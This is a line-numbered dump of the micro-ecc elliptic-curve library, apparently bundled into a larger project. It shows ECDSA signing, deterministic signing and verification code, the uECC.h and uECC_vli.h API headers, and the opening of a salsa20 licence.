1194 uECC_vli_modMult(k, k, tmp, curve->n, num_n_words); /* k' = rand * k */
1195 uECC_vli_modInv(k, k, curve->n, num_n_words); /* k = 1 / k' */
1196 uECC_vli_modMult(k, k, tmp, curve->n, num_n_words); /* k = 1 / k */
1197
1198 uECC_vli_nativeToBytes(signature, curve->num_bytes, p); /* store r */
1199
1200 uECC_vli_bytesToNative(tmp, private_key, BITS_TO_BYTES(curve->num_n_bits)); /* tmp = d */
1201 s[num_n_words - 1] = 0;
1202 uECC_vli_set(s, p, num_words);
1203 uECC_vli_modMult(s, tmp, s, curve->n, num_n_words); /* s = r*d */
1204
1205 bits2int(tmp, message_hash, hash_size, curve);
1206 uECC_vli_modAdd(s, tmp, s, curve->n, num_n_words); /* s = e + r*d */
1207 uECC_vli_modMult(s, s, k, curve->n, num_n_words); /* s = (e + r*d) / k */
1208 if (uECC_vli_numBits(s, num_n_words) > (bitcount_t)curve->num_bytes * 8) {
1209 return 0;
1210 }
1211 uECC_vli_nativeToBytes(signature + curve->num_bytes, curve->num_bytes, s);
1212 return 1;
1213 }
1214
1215 int uECC_sign(const uint8_t *private_key,
1216 const uint8_t *message_hash,
1217 unsigned hash_size,
1218 uint8_t *signature,
1219 uECC_Curve curve) {
1220 uECC_word_t k[uECC_MAX_WORDS];
1221 uECC_word_t tries;
1222
1223 for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) {
1224 if (!uECC_generate_random_int(k, curve->n, BITS_TO_WORDS(curve->num_n_bits))) {
1225 return 0;
1226 }
1227
1228 if (uECC_sign_with_k(private_key, message_hash, hash_size, k, signature, curve)) {
1229 return 1;
1230 }
1231 }
1232 return 0;
1233 }
1234
1235 /* Compute an HMAC using K as a key (as in RFC 6979). Note that K is always
1236 the same size as the hash result size. */
1237 static void HMAC_init(uECC_HashContext *hash_context, const uint8_t *K) {
1238 uint8_t *pad = hash_context->tmp + 2 * hash_context->result_size;
1239 unsigned i;
1240 for (i = 0; i < hash_context->result_size; ++i)
1241 pad[i] = K[i] ^ 0x36;
1242 for (; i < hash_context->block_size; ++i)
1243 pad[i] = 0x36;
1244
1245 hash_context->init_hash(hash_context);
1246 hash_context->update_hash(hash_context, pad, hash_context->block_size);
1247 }
1248
1249 static void HMAC_update(uECC_HashContext *hash_context,
1250 const uint8_t *message,
1251 unsigned message_size) {
1252 hash_context->update_hash(hash_context, message, message_size);
1253 }
1254
1255 static void HMAC_finish(uECC_HashContext *hash_context, const uint8_t *K, uint8_t *result) {
1256 uint8_t *pad = hash_context->tmp + 2 * hash_context->result_size;
1257 unsigned i;
1258 for (i = 0; i < hash_context->result_size; ++i)
1259 pad[i] = K[i] ^ 0x5c;
1260 for (; i < hash_context->block_size; ++i)
1261 pad[i] = 0x5c;
1262
1263 hash_context->finish_hash(hash_context, result);
1264
1265 hash_context->init_hash(hash_context);
1266 hash_context->update_hash(hash_context, pad, hash_context->block_size);
1267 hash_context->update_hash(hash_context, result, hash_context->result_size);
1268 hash_context->finish_hash(hash_context, result);
1269 }
1270
1271 /* V = HMAC_K(V) */
1272 static void update_V(uECC_HashContext *hash_context, uint8_t *K, uint8_t *V) {
1273 HMAC_init(hash_context, K);
1274 HMAC_update(hash_context, V, hash_context->result_size);
1275 HMAC_finish(hash_context, K, V);
1276 }
1277
1278 /* Deterministic signing, similar to RFC 6979. Differences are:
1279 * We just use H(m) directly rather than bits2octets(H(m))
1280 (it is not reduced modulo curve_n).
1281 * We generate a value for k (aka T) directly rather than converting endianness.
1282
1283 Layout of hash_context->tmp: <K> | <V> | (1 byte overlapped 0x00 or 0x01) / <HMAC pad> */
1284 int uECC_sign_deterministic(const uint8_t *private_key,
1285 const uint8_t *message_hash,
1286 unsigned hash_size,
1287 uECC_HashContext *hash_context,
1288 uint8_t *signature,
1289 uECC_Curve curve) {
1290 uint8_t *K = hash_context->tmp;
1291 uint8_t *V = K + hash_context->result_size;
1292 wordcount_t num_bytes = curve->num_bytes;
1293 wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits);
1294 bitcount_t num_n_bits = curve->num_n_bits;
1295 uECC_word_t tries;
1296 unsigned i;
1297 for (i = 0; i < hash_context->result_size; ++i) {
1298 V[i] = 0x01;
1299 K[i] = 0;
1300 }
1301
1302 /* K = HMAC_K(V || 0x00 || int2octets(x) || h(m)) */
1303 HMAC_init(hash_context, K);
1304 V[hash_context->result_size] = 0x00;
1305 HMAC_update(hash_context, V, hash_context->result_size + 1);
1306 HMAC_update(hash_context, private_key, num_bytes);
1307 HMAC_update(hash_context, message_hash, hash_size);
1308 HMAC_finish(hash_context, K, K);
1309
1310 update_V(hash_context, K, V);
1311
1312 /* K = HMAC_K(V || 0x01 || int2octets(x) || h(m)) */
1313 HMAC_init(hash_context, K);
1314 V[hash_context->result_size] = 0x01;
1315 HMAC_update(hash_context, V, hash_context->result_size + 1);
1316 HMAC_update(hash_context, private_key, num_bytes);
1317 HMAC_update(hash_context, message_hash, hash_size);
1318 HMAC_finish(hash_context, K, K);
1319
1320 update_V(hash_context, K, V);
1321
1322 for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) {
1323 uECC_word_t T[uECC_MAX_WORDS];
1324 uint8_t *T_ptr = (uint8_t *)T;
1325 wordcount_t T_bytes = 0;
1326 for (;;) {
1327 update_V(hash_context, K, V);
1328 for (i = 0; i < hash_context->result_size; ++i) {
1329 T_ptr[T_bytes++] = V[i];
1330 if (T_bytes >= num_n_words * uECC_WORD_SIZE) {
1331 goto filled;
1332 }
1333 }
1334 }
1335 filled:
1336 if ((bitcount_t)num_n_words * uECC_WORD_SIZE * 8 > num_n_bits) {
1337 uECC_word_t mask = (uECC_word_t)-1;
1338 T[num_n_words - 1] &=
1339 mask >> ((bitcount_t)(num_n_words * uECC_WORD_SIZE * 8 - num_n_bits));
1340 }
1341
1342 if (uECC_sign_with_k(private_key, message_hash, hash_size, T, signature, curve)) {
1343 return 1;
1344 }
1345
1346 /* K = HMAC_K(V || 0x00) */
1347 HMAC_init(hash_context, K);
1348 V[hash_context->result_size] = 0x00;
1349 HMAC_update(hash_context, V, hash_context->result_size + 1);
1350 HMAC_finish(hash_context, K, K);
1351
1352 update_V(hash_context, K, V);
1353 }
1354 return 0;
1355 }
1356
1357 static bitcount_t smax(bitcount_t a, bitcount_t b) {
1358 return (a > b ? a : b);
1359 }
1360
1361 int uECC_verify(const uint8_t *public_key,
1362 const uint8_t *message_hash,
1363 unsigned hash_size,
1364 const uint8_t *signature,
1365 uECC_Curve curve) {
1366 uECC_word_t u1[uECC_MAX_WORDS], u2[uECC_MAX_WORDS];
1367 uECC_word_t z[uECC_MAX_WORDS];
1368 uECC_word_t public[uECC_MAX_WORDS * 2];
1369 uECC_word_t sum[uECC_MAX_WORDS * 2];
1370 uECC_word_t rx[uECC_MAX_WORDS];
1371 uECC_word_t ry[uECC_MAX_WORDS];
1372 uECC_word_t tx[uECC_MAX_WORDS];
1373 uECC_word_t ty[uECC_MAX_WORDS];
1374 uECC_word_t tz[uECC_MAX_WORDS];
1375 const uECC_word_t *points[4];
1376 const uECC_word_t *point;
1377 bitcount_t num_bits;
1378 bitcount_t i;
1379 uECC_word_t r[uECC_MAX_WORDS], s[uECC_MAX_WORDS];
1380 wordcount_t num_words = curve->num_words;
1381 wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits);
1382
1383 rx[num_n_words - 1] = 0;
1384 r[num_n_words - 1] = 0;
1385 s[num_n_words - 1] = 0;
1386
1387 uECC_vli_bytesToNative(public, public_key, curve->num_bytes);
1388 uECC_vli_bytesToNative(
1389 public + num_words, public_key + curve->num_bytes, curve->num_bytes);
1390 uECC_vli_bytesToNative(r, signature, curve->num_bytes);
1391 uECC_vli_bytesToNative(s, signature + curve->num_bytes, curve->num_bytes);
1392
1393 /* r, s must not be 0. */
1394 if (uECC_vli_isZero(r, num_words) || uECC_vli_isZero(s, num_words)) {
1395 return 0;
1396 }
1397
1398 /* r, s must be < n. */
1399 if (uECC_vli_cmp_unsafe(curve->n, r, num_n_words) != 1 ||
1400 uECC_vli_cmp_unsafe(curve->n, s, num_n_words) != 1) {
1401 return 0;
1402 }
1403
1404 /* Calculate u1 and u2. */
1405 uECC_vli_modInv(z, s, curve->n, num_n_words); /* z = 1/s */
1406 u1[num_n_words - 1] = 0;
1407 bits2int(u1, message_hash, hash_size, curve);
1408 uECC_vli_modMult(u1, u1, z, curve->n, num_n_words); /* u1 = e/s */
1409 uECC_vli_modMult(u2, r, z, curve->n, num_n_words); /* u2 = r/s */
1410
1411 /* Calculate sum = G + Q. */
1412 uECC_vli_set(sum, public, num_words);
1413 uECC_vli_set(sum + num_words, public + num_words, num_words);
1414 uECC_vli_set(tx, curve->G, num_words);
1415 uECC_vli_set(ty, curve->G + num_words, num_words);
1416 uECC_vli_modSub(z, sum, tx, curve->p, num_words); /* z = x2 - x1 */
1417 XYcZ_add(tx, ty, sum, sum + num_words, curve);
1418 uECC_vli_modInv(z, z, curve->p, num_words); /* z = 1/z */
1419 apply_z(sum, sum + num_words, z, curve);
1420
1421 /* Use Shamir's trick to calculate u1*G + u2*Q */
1422 points[0] = 0;
1423 points[1] = curve->G;
1424 points[2] = public;
1425 points[3] = sum;
1426 num_bits = smax(uECC_vli_numBits(u1, num_n_words),
1427 uECC_vli_numBits(u2, num_n_words));
1428
1429 point = points[(!!uECC_vli_testBit(u1, num_bits - 1)) |
1430 ((!!uECC_vli_testBit(u2, num_bits - 1)) << 1)];
1431 uECC_vli_set(rx, point, num_words);
1432 uECC_vli_set(ry, point + num_words, num_words);
1433 uECC_vli_clear(z, num_words);
1434 z[0] = 1;
1435
1436 for (i = num_bits - 2; i >= 0; --i) {
1437 uECC_word_t index;
1438 curve->double_jacobian(rx, ry, z, curve);
1439
1440 index = (!!uECC_vli_testBit(u1, i)) | ((!!uECC_vli_testBit(u2, i)) << 1);
1441 point = points[index];
1442 if (point) {
1443 uECC_vli_set(tx, point, num_words);
1444 uECC_vli_set(ty, point + num_words, num_words);
1445 apply_z(tx, ty, z, curve);
1446 uECC_vli_modSub(tz, rx, tx, curve->p, num_words); /* Z = x2 - x1 */
1447 XYcZ_add(tx, ty, rx, ry, curve);
1448 uECC_vli_modMult_fast(z, z, tz, curve);
1449 }
1450 }
1451
1452 uECC_vli_modInv(z, z, curve->p, num_words); /* Z = 1/Z */
1453 apply_z(rx, ry, z, curve);
1454
1455 /* v = x1 (mod n) */
1456 if (uECC_vli_cmp_unsafe(curve->n, rx, num_n_words) != 1) {
1457 uECC_vli_sub(rx, rx, curve->n, num_n_words);
1458 }
1459
1460 /* Accept only if v == r. */
1461 return (int)(uECC_vli_equal(rx, r, num_words));
1462 }
1463
1464 #if uECC_ENABLE_VLI_API
1465
1466 unsigned uECC_curve_num_words(uECC_Curve curve) {
1467 return curve->num_words;
1468 }
1469
1470 unsigned uECC_curve_num_bits(uECC_Curve curve) {
1471 return curve->num_bytes * 8;
1472 }
1473
1474 unsigned uECC_curve_num_n_words(uECC_Curve curve) {
1475 return BITS_TO_WORDS(curve->num_n_bits);
1476 }
1477
1478 unsigned uECC_curve_num_n_bits(uECC_Curve curve) {
1479 return curve->num_n_bits;
1480 }
1481
1482 const uECC_word_t *uECC_curve_p(uECC_Curve curve) {
1483 return curve->p;
1484 }
1485
1486 const uECC_word_t *uECC_curve_n(uECC_Curve curve) {
1487 return curve->n;
1488 }
1489
1490 const uECC_word_t *uECC_curve_G(uECC_Curve curve) {
1491 return curve->G;
1492 }
1493
1494 const uECC_word_t *uECC_curve_b(uECC_Curve curve) {
1495 return curve->b;
1496 }
1497
1498 #if uECC_SUPPORT_COMPRESSED_POINT
1499 void uECC_vli_mod_sqrt(uECC_word_t *a, uECC_Curve curve) {
1500 curve->mod_sqrt(a, curve);
1501 }
1502 #endif
1503
1504 void uECC_vli_mmod_fast(uECC_word_t *result, uECC_word_t *product, uECC_Curve curve) {
1505 #if (uECC_OPTIMIZATION_LEVEL > 0)
1506 curve->mmod_fast(result, product);
1507 #else
1508 uECC_vli_mmod(result, product, curve->p, curve->num_words);
1509 #endif
1510 }
1511
1512 void uECC_point_mult(uECC_word_t *result,
1513 const uECC_word_t *point,
1514 const uECC_word_t *scalar,
1515 uECC_Curve curve) {
1516 uECC_word_t tmp1[uECC_MAX_WORDS];
1517 uECC_word_t tmp2[uECC_MAX_WORDS];
1518 uECC_word_t *p2[2] = {tmp1, tmp2};
1519 uECC_word_t carry = regularize_k(scalar, tmp1, tmp2, curve);
1520
1521 EccPoint_mult(result, point, p2[!carry], 0, curve->num_n_bits + 1, curve);
1522 }
1523
1524 #endif /* uECC_ENABLE_VLI_API */
0 /* Copyright 2014, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_H_
3 #define _UECC_H_
4
5 #include "libs/types.h"
6
7 /* Platform selection options.
8 If uECC_PLATFORM is not defined, the code will try to guess it based on compiler macros.
9 Possible values for uECC_PLATFORM are defined below: */
10 #define uECC_arch_other 0
11 #define uECC_x86 1
12 #define uECC_x86_64 2
13 #define uECC_arm 3
14 #define uECC_arm_thumb 4
15 #define uECC_arm_thumb2 5
16 #define uECC_arm64 6
17 #define uECC_avr 7
18
19 /* If desired, you can define uECC_WORD_SIZE as appropriate for your platform (1, 4, or 8 bytes).
20 If uECC_WORD_SIZE is not explicitly defined then it will be automatically set based on your
21 platform. */
22
23 /* Optimization level; trade speed for code size.
24 Larger values produce code that is faster but larger.
25 Currently supported values are 0 - 3; 0 is unusably slow for most applications. */
26 #ifndef uECC_OPTIMIZATION_LEVEL
27 #define uECC_OPTIMIZATION_LEVEL 2
28 #endif
29
30 /* uECC_SQUARE_FUNC - If enabled (defined as nonzero), this will cause a specific function to be
31 used for (scalar) squaring instead of the generic multiplication function. This can make things
32 faster somewhat faster, but increases the code size. */
33 #ifndef uECC_SQUARE_FUNC
34 #define uECC_SQUARE_FUNC 0
35 #endif
36
37 /* Curve support selection. Set to 0 to remove that curve. */
38 #ifndef uECC_SUPPORTS_secp160r1
39 #define uECC_SUPPORTS_secp160r1 1
40 #endif
41 #ifndef uECC_SUPPORTS_secp192r1
42 #define uECC_SUPPORTS_secp192r1 1
43 #endif
44 #ifndef uECC_SUPPORTS_secp224r1
45 #define uECC_SUPPORTS_secp224r1 1
46 #endif
47 #ifndef uECC_SUPPORTS_secp256r1
48 #define uECC_SUPPORTS_secp256r1 1
49 #endif
50 #ifndef uECC_SUPPORTS_secp256k1
51 #define uECC_SUPPORTS_secp256k1 1
52 #endif
53
54 /* Specifies whether compressed point format is supported.
55 Set to 0 to disable point compression/decompression functions. */
56 #ifndef uECC_SUPPORT_COMPRESSED_POINT
57 #define uECC_SUPPORT_COMPRESSED_POINT 1
58 #endif
59
60 struct uECC_Curve_t;
61 typedef const struct uECC_Curve_t * uECC_Curve;
62
63 #ifdef __cplusplus
64 extern "C"
65 {
66 #endif
67
68 #if uECC_SUPPORTS_secp160r1
69 uECC_Curve uECC_secp160r1(void);
70 #endif
71 #if uECC_SUPPORTS_secp192r1
72 uECC_Curve uECC_secp192r1(void);
73 #endif
74 #if uECC_SUPPORTS_secp224r1
75 uECC_Curve uECC_secp224r1(void);
76 #endif
77 #if uECC_SUPPORTS_secp256r1
78 uECC_Curve uECC_secp256r1(void);
79 #endif
80 #if uECC_SUPPORTS_secp256k1
81 uECC_Curve uECC_secp256k1(void);
82 #endif
83
84 /* uECC_RNG_Function type
85 The RNG function should fill 'size' random bytes into 'dest'. It should return 1 if
86 'dest' was filled with random data, or 0 if the random data could not be generated.
87 The filled-in values should be either truly random, or from a cryptographically-secure PRNG.
88
89 A correctly functioning RNG function must be set (using uECC_set_rng()) before calling
90 uECC_make_key() or uECC_sign().
91
92 Setting a correctly functioning RNG function improves the resistance to side-channel attacks
93 for uECC_shared_secret() and uECC_sign_deterministic().
94
95 A correct RNG function is set by default when building for Windows, Linux, or OS X.
96 If you are building on another POSIX-compliant system that supports /dev/random or /dev/urandom,
97 you can define uECC_POSIX to use the predefined RNG. For embedded platforms there is no predefined
98 RNG function; you must provide your own.
99 */
100 typedef int (*uECC_RNG_Function)(uint8_t *dest, unsigned size);
101
102 /* uECC_set_rng() function.
103 Set the function that will be used to generate random bytes. The RNG function should
104 return 1 if the random data was generated, or 0 if the random data could not be generated.
105
106 On platforms where there is no predefined RNG function (eg embedded platforms), this must
107 be called before uECC_make_key() or uECC_sign() are used.
108
109 Inputs:
110 rng_function - The function that will be used to generate random bytes.
111 */
112 void uECC_set_rng(uECC_RNG_Function rng_function);
113
114 /* uECC_make_key() function.
115 Create a public/private key pair.
116
117 Outputs:
118 public_key - Will be filled in with the public key. Must be at least 2 * the curve size
119 (in bytes) long. For example, if the curve is secp256r1, public_key must be 64
120 bytes long.
121 private_key - Will be filled in with the private key. Must be as long as the curve order; this
122 is typically the same as the curve size, except for secp160r1. For example, if the
123 curve is secp256r1, private_key must be 32 bytes long.
124
125 For secp160r1, private_key must be 21 bytes long! Note that the first byte will
126 almost always be 0 (there is about a 1 in 2^80 chance of it being non-zero).
127
128 Returns 1 if the key pair was generated successfully, 0 if an error occurred.
129 */
130 int uECC_make_key(uint8_t *public_key, uint8_t *private_key, uECC_Curve curve);
131
132 /* uECC_shared_secret() function.
133 Compute a shared secret given your secret key and someone else's public key.
134 Note: It is recommended that you hash the result of uECC_shared_secret() before using it for
135 symmetric encryption or HMAC.
136
137 Inputs:
138 public_key - The public key of the remote party.
139 private_key - Your private key.
140
141 Outputs:
142 secret - Will be filled in with the shared secret value. Must be the same size as the
143 curve size; for example, if the curve is secp256r1, secret must be 32 bytes long.
144
145 Returns 1 if the shared secret was generated successfully, 0 if an error occurred.
146 */
147 int uECC_shared_secret(const uint8_t *public_key,
148 const uint8_t *private_key,
149 uint8_t *secret,
150 uECC_Curve curve);
151
152 #if uECC_SUPPORT_COMPRESSED_POINT
153 /* uECC_compress() function.
154 Compress a public key.
155
156 Inputs:
157 public_key - The public key to compress.
158
159 Outputs:
160 compressed - Will be filled in with the compressed public key. Must be at least
161 (curve size + 1) bytes long; for example, if the curve is secp256r1,
162 compressed must be 33 bytes long.
163 */
164 void uECC_compress(const uint8_t *public_key, uint8_t *compressed, uECC_Curve curve);
165
166 /* uECC_decompress() function.
167 Decompress a compressed public key.
168
169 Inputs:
170 compressed - The compressed public key.
171
172 Outputs:
173 public_key - Will be filled in with the decompressed public key.
174 */
175 void uECC_decompress(const uint8_t *compressed, uint8_t *public_key, uECC_Curve curve);
176 #endif /* uECC_SUPPORT_COMPRESSED_POINT */
177
178 /* uECC_valid_public_key() function.
179 Check to see if a public key is valid.
180
181 Note that you are not required to check for a valid public key before using any other uECC
182 functions. However, you may wish to avoid spending CPU time computing a shared secret or
183 verifying a signature using an invalid public key.
184
185 Inputs:
186 public_key - The public key to check.
187
188 Returns 1 if the public key is valid, 0 if it is invalid.
189 */
190 int uECC_valid_public_key(const uint8_t *public_key, uECC_Curve curve);
191
192 /* uECC_compute_public_key() function.
193 Compute the corresponding public key for a private key.
194
195 Inputs:
196 private_key - The private key to compute the public key for
197
198 Outputs:
199 public_key - Will be filled in with the corresponding public key
200
201 Returns 1 if the key was computed successfully, 0 if an error occurred.
202 */
203 int uECC_compute_public_key(const uint8_t *private_key, uint8_t *public_key, uECC_Curve curve);
204
205 /* uECC_sign() function.
206 Generate an ECDSA signature for a given hash value.
207
208 Usage: Compute a hash of the data you wish to sign (SHA-2 is recommended) and pass it in to
209 this function along with your private key.
210
211 Inputs:
212 private_key - Your private key.
213 message_hash - The hash of the message to sign.
214 hash_size - The size of message_hash in bytes.
215
216 Outputs:
217 signature - Will be filled in with the signature value. Must be at least 2 * curve size long.
218 For example, if the curve is secp256r1, signature must be 64 bytes long.
219
220 Returns 1 if the signature generated successfully, 0 if an error occurred.
221 */
222 int uECC_sign(const uint8_t *private_key,
223 const uint8_t *message_hash,
224 unsigned hash_size,
225 uint8_t *signature,
226 uECC_Curve curve);
227
228 /* uECC_HashContext structure.
229 This is used to pass in an arbitrary hash function to uECC_sign_deterministic().
230 The structure will be used for multiple hash computations; each time a new hash
231 is computed, init_hash() will be called, followed by one or more calls to
232 update_hash(), and finally a call to finish_hash() to prudoce the resulting hash.
233
234 The intention is that you will create a structure that includes uECC_HashContext
235 followed by any hash-specific data. For example:
236
237 typedef struct SHA256_HashContext {
238 uECC_HashContext uECC;
239 SHA256_CTX ctx;
240 } SHA256_HashContext;
241
242 void init_SHA256(uECC_HashContext *base) {
243 SHA256_HashContext *context = (SHA256_HashContext *)base;
244 SHA256_Init(&context->ctx);
245 }
246
247 void update_SHA256(uECC_HashContext *base,
248 const uint8_t *message,
249 unsigned message_size) {
250 SHA256_HashContext *context = (SHA256_HashContext *)base;
251 SHA256_Update(&context->ctx, message, message_size);
252 }
253
254 void finish_SHA256(uECC_HashContext *base, uint8_t *hash_result) {
255 SHA256_HashContext *context = (SHA256_HashContext *)base;
256 SHA256_Final(hash_result, &context->ctx);
257 }
258
259 ... when signing ...
260 {
261 uint8_t tmp[32 + 32 + 64];
262 SHA256_HashContext ctx = {{&init_SHA256, &update_SHA256, &finish_SHA256, 64, 32, tmp}};
263 uECC_sign_deterministic(key, message_hash, &ctx.uECC, signature);
264 }
265 */
266 typedef struct uECC_HashContext {
267 void (*init_hash)(struct uECC_HashContext *context);
268 void (*update_hash)(struct uECC_HashContext *context,
269 const uint8_t *message,
270 unsigned message_size);
271 void (*finish_hash)(struct uECC_HashContext *context, uint8_t *hash_result);
272 unsigned block_size; /* Hash function block size in bytes, eg 64 for SHA-256. */
273 unsigned result_size; /* Hash function result size in bytes, eg 32 for SHA-256. */
274 uint8_t *tmp; /* Must point to a buffer of at least (2 * result_size + block_size) bytes. */
275 } uECC_HashContext;
276
277 /* uECC_sign_deterministic() function.
278 Generate an ECDSA signature for a given hash value, using a deterministic algorithm
279 (see RFC 6979). You do not need to set the RNG using uECC_set_rng() before calling
280 this function; however, if the RNG is defined it will improve resistance to side-channel
281 attacks.
282
283 Usage: Compute a hash of the data you wish to sign (SHA-2 is recommended) and pass it in to
284 this function along with your private key and a hash context. Note that the message_hash
285 does not need to be computed with the same hash function used by hash_context.
286
287 Inputs:
288 private_key - Your private key.
289 message_hash - The hash of the message to sign.
290 hash_size - The size of message_hash in bytes.
291 hash_context - A hash context to use.
292
293 Outputs:
294 signature - Will be filled in with the signature value.
295
296 Returns 1 if the signature generated successfully, 0 if an error occurred.
297 */
298 int uECC_sign_deterministic(const uint8_t *private_key,
299 const uint8_t *message_hash,
300 unsigned hash_size,
301 uECC_HashContext *hash_context,
302 uint8_t *signature,
303 uECC_Curve curve);
304
305 /* uECC_verify() function.
306 Verify an ECDSA signature.
307
308 Usage: Compute the hash of the signed data using the same hash as the signer and
309 pass it to this function along with the signer's public key and the signature values (r and s).
310
311 Inputs:
312 public_key - The signer's public key.
313 message_hash - The hash of the signed data.
314 hash_size - The size of message_hash in bytes.
315 signature - The signature value.
316
317 Returns 1 if the signature is valid, 0 if it is invalid.
318 */
319 int uECC_verify(const uint8_t *private_key,
320 const uint8_t *message_hash,
321 unsigned hash_size,
322 const uint8_t *signature,
323 uECC_Curve curve);
324
325 #ifdef __cplusplus
326 } /* end of extern "C" */
327 #endif
328
329 #endif /* _UECC_H_ */
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_VLI_H_
3 #define _UECC_VLI_H_
4
5 #include "uECC.h"
6 #include "types.h"
7
8 /* Functions for raw large-integer manipulation. These are only available
9 if uECC.c is compiled with uECC_ENABLE_VLI_API defined to 1. */
10 #ifndef uECC_ENABLE_VLI_API
11 #define uECC_ENABLE_VLI_API 0
12 #endif
13
14 #ifdef __cplusplus
15 extern "C"
16 {
17 #endif
18
19 #if uECC_ENABLE_VLI_API
20
21 void uECC_vli_clear(uECC_word_t *vli, wordcount_t num_words);
22
23 /* Constant-time comparison to zero - secure way to compare long integers */
24 /* Returns 1 if vli == 0, 0 otherwise. */
25 uECC_word_t uECC_vli_isZero(const uECC_word_t *vli, wordcount_t num_words);
26
27 /* Returns nonzero if bit 'bit' of vli is set. */
28 uECC_word_t uECC_vli_testBit(const uECC_word_t *vli, bitcount_t bit);
29
30 /* Counts the number of bits required to represent vli. */
31 bitcount_t uECC_vli_numBits(const uECC_word_t *vli, const wordcount_t max_words);
32
33 /* Sets dest = src. */
34 void uECC_vli_set(uECC_word_t *dest, const uECC_word_t *src, wordcount_t num_words);
35
36 /* Constant-time comparison function - secure way to compare long integers */
37 /* Returns one if left == right, zero otherwise */
38 uECC_word_t uECC_vli_equal(const uECC_word_t *left,
39 const uECC_word_t *right,
40 wordcount_t num_words);
41
42 /* Constant-time comparison function - secure way to compare long integers */
43 /* Returns sign of left - right, in constant time. */
44 cmpresult_t uECC_vli_cmp(const uECC_word_t *left, const uECC_word_t *right, wordcount_t num_words);
45
46 /* Computes vli = vli >> 1. */
47 void uECC_vli_rshift1(uECC_word_t *vli, wordcount_t num_words);
48
49 /* Computes result = left + right, returning carry. Can modify in place. */
50 uECC_word_t uECC_vli_add(uECC_word_t *result,
51 const uECC_word_t *left,
52 const uECC_word_t *right,
53 wordcount_t num_words);
54
55 /* Computes result = left - right, returning borrow. Can modify in place. */
56 uECC_word_t uECC_vli_sub(uECC_word_t *result,
57 const uECC_word_t *left,
58 const uECC_word_t *right,
59 wordcount_t num_words);
60
61 /* Computes result = left * right. Result must be 2 * num_words long. */
62 void uECC_vli_mult(uECC_word_t *result,
63 const uECC_word_t *left,
64 const uECC_word_t *right,
65 wordcount_t num_words);
66
67 /* Computes result = left^2. Result must be 2 * num_words long. */
68 void uECC_vli_square(uECC_word_t *result, const uECC_word_t *left, wordcount_t num_words);
69
70 /* Computes result = (left + right) % mod.
71 Assumes that left < mod and right < mod, and that result does not overlap mod. */
72 void uECC_vli_modAdd(uECC_word_t *result,
73 const uECC_word_t *left,
74 const uECC_word_t *right,
75 const uECC_word_t *mod,
76 wordcount_t num_words);
77
78 /* Computes result = (left - right) % mod.
79 Assumes that left < mod and right < mod, and that result does not overlap mod. */
80 void uECC_vli_modSub(uECC_word_t *result,
81 const uECC_word_t *left,
82 const uECC_word_t *right,
83 const uECC_word_t *mod,
84 wordcount_t num_words);
85
86 /* Computes result = product % mod, where product is 2N words long.
87 Currently only designed to work for mod == curve->p or curve_n. */
88 void uECC_vli_mmod(uECC_word_t *result,
89 uECC_word_t *product,
90 const uECC_word_t *mod,
91 wordcount_t num_words);
92
93 /* Calculates result = product (mod curve->p), where product is up to
94 2 * curve->num_words long. */
95 void uECC_vli_mmod_fast(uECC_word_t *result, uECC_word_t *product, uECC_Curve curve);
96
97 /* Computes result = (left * right) % mod.
98 Currently only designed to work for mod == curve->p or curve_n. */
99 void uECC_vli_modMult(uECC_word_t *result,
100 const uECC_word_t *left,
101 const uECC_word_t *right,
102 const uECC_word_t *mod,
103 wordcount_t num_words);
104
105 /* Computes result = (left * right) % curve->p. */
106 void uECC_vli_modMult_fast(uECC_word_t *result,
107 const uECC_word_t *left,
108 const uECC_word_t *right,
109 uECC_Curve curve);
110
111 /* Computes result = left^2 % mod.
112 Currently only designed to work for mod == curve->p or curve_n. */
113 void uECC_vli_modSquare(uECC_word_t *result,
114 const uECC_word_t *left,
115 const uECC_word_t *mod,
116 wordcount_t num_words);
117
118 /* Computes result = left^2 % curve->p. */
119 void uECC_vli_modSquare_fast(uECC_word_t *result, const uECC_word_t *left, uECC_Curve curve);
120
121 /* Computes result = (1 / input) % mod.*/
122 void uECC_vli_modInv(uECC_word_t *result,
123 const uECC_word_t *input,
124 const uECC_word_t *mod,
125 wordcount_t num_words);
126
127 #if uECC_SUPPORT_COMPRESSED_POINT
128 /* Calculates a = sqrt(a) (mod curve->p) */
129 void uECC_vli_mod_sqrt(uECC_word_t *a, uECC_Curve curve);
130 #endif
131
132 /* Converts an integer in uECC native format to big-endian bytes. */
133 void uECC_vli_nativeToBytes(uint8_t *bytes, int num_bytes, const uECC_word_t *native);
134 /* Converts big-endian bytes to an integer in uECC native format. */
135 void uECC_vli_bytesToNative(uECC_word_t *native, const uint8_t *bytes, int num_bytes);
136
137 unsigned uECC_curve_num_words(uECC_Curve curve);
138 unsigned uECC_curve_num_bits(uECC_Curve curve);
139 unsigned uECC_curve_num_n_words(uECC_Curve curve);
140 unsigned uECC_curve_num_n_bits(uECC_Curve curve);
141
142 const uECC_word_t *uECC_curve_p(uECC_Curve curve);
143 const uECC_word_t *uECC_curve_n(uECC_Curve curve);
144 const uECC_word_t *uECC_curve_G(uECC_Curve curve);
145 const uECC_word_t *uECC_curve_b(uECC_Curve curve);
146
147 int uECC_valid_point(const uECC_word_t *point, uECC_Curve curve);
148
149 /* Multiplies a point by a scalar. Points are represented by the X coordinate followed by
150 the Y coordinate in the same array, both coordinates are curve->num_words long. Note
151 that scalar must be curve->num_n_words long (NOT curve->num_words). */
152 void uECC_point_mult(uECC_word_t *result,
153 const uECC_word_t *point,
154 const uECC_word_t *scalar,
155 uECC_Curve curve);
156
157 /* Generates a random integer in the range 0 < random < top.
158 Both random and top have num_words words. */
159 int uECC_generate_random_int(uECC_word_t *random,
160 const uECC_word_t *top,
161 wordcount_t num_words);
162
163 #endif /* uECC_ENABLE_VLI_API */
164
165 #ifdef __cplusplus
166 } /* end of extern "C" */
167 #endif
168
169 #endif /* _UECC_VLI_H_ */
0 /*
1 * License; from https://github.com/alexwebr/salsa20/blob/master/LICENSE.txt
2 * The person or persons who have associated work with this document (the
3 * "Dedicator" or "Certifier") hereby either (a) certifies that, to the best of
4 * his knowledge, the work of authorship identified is in the public domain of
5 * the country from which the work is published, or (b) hereby dedicates
6 * whatever copyright the dedicators holds in the work of authorship identified
